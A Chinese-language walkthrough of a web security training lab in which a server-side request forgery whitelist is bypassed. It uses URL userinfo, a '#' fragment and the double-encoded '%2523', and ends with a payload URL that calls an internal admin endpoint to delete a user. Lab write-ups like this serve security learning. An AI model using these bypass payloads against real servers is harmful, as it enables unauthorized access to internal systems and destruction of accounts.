# SSRF Lab7
本題要繞過 SSRF 白名單保護機制,利用 URL 認證資訊(userinfo) 和 雙重 URL 編碼(%2523) 來混淆伺服器的解析行為。
概要:
- 這個功能會從 stockApi 參數中的 URL 對內部伺服器發出請求,但會做「白名單比對 hostname」以防止 SSRF。
一樣進入網站攔截請求。


嘗試輸入我們一般的 `127.0.0.1` 那些都會被過濾掉。

轉換道路去輸入:
```
http://username@stock.weliketoshop.net/
```
在這個 Lab 裡,伺服器會檢查 host 字串是否在白名單中,比如:
```
allowed_hosts = ["stock.weliketoshop.net"]
```
但攻擊者可以提供這樣的 URL:
```
http://localhost@stock.weliketoshop.net/
```
這樣伺服器檢查 `host = stock.weliketoshop.net`。
但真正發出 HTTP 請求時,有些後端庫會以 localhost 當作目標主機去連線,因為他們把 userinfo 的 `localhost@` 誤當成了 hostname!
結果就發送請求到 `http://localhost/`,SSRF 成功 。
所以接著嘗試用 `#` 片段混淆 hostname:
```
http://username#@stock.weliketoshop.net/
```
作用是讓瀏覽器跳到網頁中的某個位置(像是 `<div id="bottom">`),不會發送給伺服器。
```
https://example.com/page#section2
```
瀏覽器只會發 request 到:
```
https://example.com/page
```

失敗,所以更進一步嘗試雙重混淆。
```
http://localhost:80%2523@stock.weliketoshop.net/
```
- `%2523`:雙重 URL 編碼,瀏覽器解析成 `%23`
- `%23`:是 `#` 的 URL 編碼
所以最終伺服器內部會解析為:
```
http://localhost:80#@stock.weliketoshop.net/
```
對內部解析器來說,真正 hostname 是 localhost,成功繞過白名單。

所以我們再加上刪除使用者的連結。
```
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
```


---